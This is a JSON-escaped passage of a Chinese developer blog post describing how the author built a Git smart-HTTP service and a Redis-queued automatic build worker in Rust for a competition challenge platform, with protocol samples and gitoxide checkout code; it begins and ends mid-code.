class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;mouseleave\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;focus\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;focus\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;blur\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Window Events\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowClick\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;keydown\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowKeyDown\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/2023_04_10_development_records/"},{"title":"实现一个基于Git的存储和自动构建服务","time":"2023-04-10T11:45:14+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e在后端处理题目方面,我经过长时间思索,最后感觉整个模型就是一个 Git + CI/CD。出题人通过 Git 将题目部署上去,然后平台自动根据对应的 Checker 类型来执行构建操作,并根据构建结果来确认题目状态,在选手访问题目时,就可以直接提供服务。这样一来,整套题目服务系统就能够高度自动化运作,出题人只需要写好build脚本,设置一下题目相关的配置文件然后推送上去就可以了。\u003c/p\u003e\n\u003cp\u003e但是…… Rust下面没有能够直接提供远程Git服务的crate啊,有一个libgit2的绑定,libgit2本来就没有服务端功能;有一个gixoide,大部分功能还在alpha……\u003c/p\u003e\n\u003cp\u003e于是我根据\u003ca href=\"https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE\" target=\"_blank\" rel=\"noopener noreffer \"\u003eGit文档\u003c/a\u003e手撸了一份HTTP协议处理。好,接下来是另一个大问题,内部协议怎么办?我总不能从头开始实现一个git吧…… 遇事不决看看现有方案怎么做的。于是我打开了Gitea。Gitea告诉我,你可以 subprocess.popen(“git”) ……\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"传输协议\"\u003e传输协议\u003c/h2\u003e\n\u003cp\u003e首先实现拉取与推送操作,这样出题人可以直接使用git和比赛平台上的仓库进行交互。根据\u003ca href=\"https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE\" target=\"_blank\" rel=\"noopener noreffer \"\u003eGit内部传输协议\u003c/a\u003e,一次远程交互过程从数据文件协商开始。以git-fetch为例,客户端首先向服务端发送一个 HTTP GET 请求:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plaintext\" data-lang=\"plaintext\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e=\u0026gt; GET $GIT_URL/info/refs?service=git-upload-pack\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e001e# service=git-upload-pack\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e00e7ca82a6dff817ec66f44342007202690a93763949 HEAD multi_ack thin-pack \\\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e side-band side-band-64k ofs-delta shallow no-progress include-tag \\\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e multi_ack_detailed no-done symref=HEAD:refs/heads/master \\\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e agent=git/2:2.1.1+github-607-gfba4028\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e003fca82a6dff817ec66f44342007202690a93763949 refs/heads/master\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e0000\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e在第一次交互中,客户端向服务端请求数据文件列表,服务端会通过git-upload-pack进程查询仓库的状态,并将服务端拥有的数据对象以列表的形式组织起来,发送给客户端。第一行文件的末尾还会特殊附加上服务端所支持的特性列表。\u003c/p\u003e\n\u003cp\u003e在获取服务端的数据文件列表之后,客户端开始查询本地的仓库状态,对比服务端的数据对象列表和本地的差异,然后将其整合起来。整合完毕之后,客户端会向服务端发送第二个 HTTP POST 请求:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plaintext\" data-lang=\"plaintext\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e=\u0026gt; POST $GIT_URL/git-upload-pack HTTP/1.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e0032want 0a53e9ddeaddad63ad106860237bbf53411d11a7\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e0032have 441b40d833fdfa93eb2908e52742248faf0ee993\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e0000\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e在这个请求中客户端通过want和have提示词告诉服务器哪些文件是本地已经拥有的,哪些是需要服务端发送的。在协议的最后有一个 0000 作为协议结尾,提示服务器可以开始发送数据对象了。服务器接收完毕差异列表之后,就会开始压缩客户端所需要的数据对象,并在HTTP响应中将这些数据对象编码并传输给客户端。\u003c/p\u003e\n\u003cp\u003e客户端最终接收到了所需的数据对象,并将其解压到本地的数据对象数据库中,然后根据最后一次提交的“tree”信息将当前版本的数据对象检出到工作目录中。\u003c/p\u003e\n\u003cp\u003e比赛平台的Git实现主要关注在底层HTTP协议的支持上,平台负责将HTTP协议中的Git协议数据包提取出来,并以数据流的形式写入Git进程,然后将进程返回的二进制数据流写回到HTTP响应之中。Git服务所支持的额外特性则取决于服务器上的Git版本支持。\u003c/p\u003e\n\u003cp\u003e实现完毕Git传输协议之后,接下来需要将Git仓库中的当前版本文件检出到工作目录中,以便于后续持续集成/持续部署模块的工作。\u003c/p\u003e\n\u003cp\u003eGit仓库中的HEAD文件指向当前仓库的最新提交记录,可以从这里拿到提交记录所对应的tree,并通过这个tree所关联的数据对象来恢复工作区:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epub\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efn\u003c/span\u003e \u003cspan class=\"nf\"\u003echeckout_head\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edst_path\u003c/span\u003e: \u003cspan class=\"nc\"\u003eimpl\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eAsRef\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003ePath\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e-\u0026gt; \u003cspan class=\"nc\"\u003eanyhow\u003c/span\u003e::\u003cspan class=\"nb\"\u003eResult\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edst_path\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edst_path\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eas_ref\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egit_path\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclone\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egix_index\u003c/span\u003e::\u003cspan class=\"n\"\u003eFile\u003c/span\u003e::\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egit_path\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;index\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSha1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eDefault\u003c/span\u003e::\u003cspan class=\"n\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eodb\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egix\u003c/span\u003e::\u003cspan class=\"n\"\u003eodb\u003c/span\u003e::\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003egit_path\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;objects\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einto_inner\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einto_arc\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_outcome\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egix_worktree\u003c/span\u003e::\u003cspan class=\"n\"\u003echeckout\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edst_path\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emove\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003eoid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eodb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efind_blob\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprogress\u003c/span\u003e::\u003cspan class=\"n\"\u003eDiscard\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprogress\u003c/span\u003e::\u003cspan class=\"n\"\u003eDiscard\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eAtomicBool\u003c/span\u003e::\u003cspan class=\"n\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egix_worktree\u003c/span\u003e::\u003cspan class=\"n\"\u003echeckout\u003c/span\u003e::\u003cspan class=\"n\"\u003eOptions\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoverwrite_existing\u003c/span\u003e: \u003cspan class=\"nc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e..\u003c/span\u003e\u003cspan class=\"nb\"\u003eDefault\u003c/span\u003e::\u003cspan class=\"n\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eOk\u003c/span\u003e\u003cspan class=\"p\"\u003e(())\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e在git操作上,我选了gitoxide库来查询HEAD所对应的提交记录,并根据提交记录来将整个工作区文件恢复至 dst_path 中。选gitoxide的一大原因是纯rust实现,就个人洁癖而言我还是很愿意费点力气尽力减少二进制依赖的。\u003c/p\u003e\n\u003ch2 id=\"持续集成持续部署\"\u003e持续集成/持续部署\u003c/h2\u003e\n\u003cp\u003e实现完成Git文件存储模块之后,接下来要实现持续集成/持续部署模块来与之相配合,共同完成题目的存储、发布工作。由于题目的构建工作可能耗时很长,因此将其过程放在某个HTTP请求处理过程中是不合适的。同时,构建过程可能会较大的消耗服务器资源,因此需要控制题目构建的资源消耗。\u003c/p\u003e\n\u003cp\u003e在实现方案中使用了Redis提供的消息队列功能来处理题目构建请求。当出题人在平台上请求构建题目时,这个构建请求会被放入Redis的消息队列中。在服务器启动时,会初始化一个单独的线程持续监听消息队列,如果消息队列中有新的构建请求,那么就停止监听并取出这个请求,然后调用题目类型对应的构建代码来处理题目仓库中的文件,根据出题人设置好的配置文件将题目附件、容器等必要组件构建好,存储在stable文件夹中备用。构建完毕之后,构建线程会重新回到监听消息队列的状态,并持续处理之后的构建请求。\u003c/p\u003e\n\u003cp\u003e这样就可以将构建过程消耗的服务器资源控制在单个题目资源上,不会出现题目构建请求过多将服务器硬件资源消耗殆尽,平台无法对外提供服务的情况。\u003c/p\u003e\n\u003cp\u003e构建线程大概长这样:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epub\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003easync\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efn\u003c/span\u003e \u003cspan class=\"nf\"\u003estart_build_worker\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecache\u003c/span\u003e: \u003cspan class=\"nc\"\u003eBuilderCache\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e-\u0026gt; \u003cspan 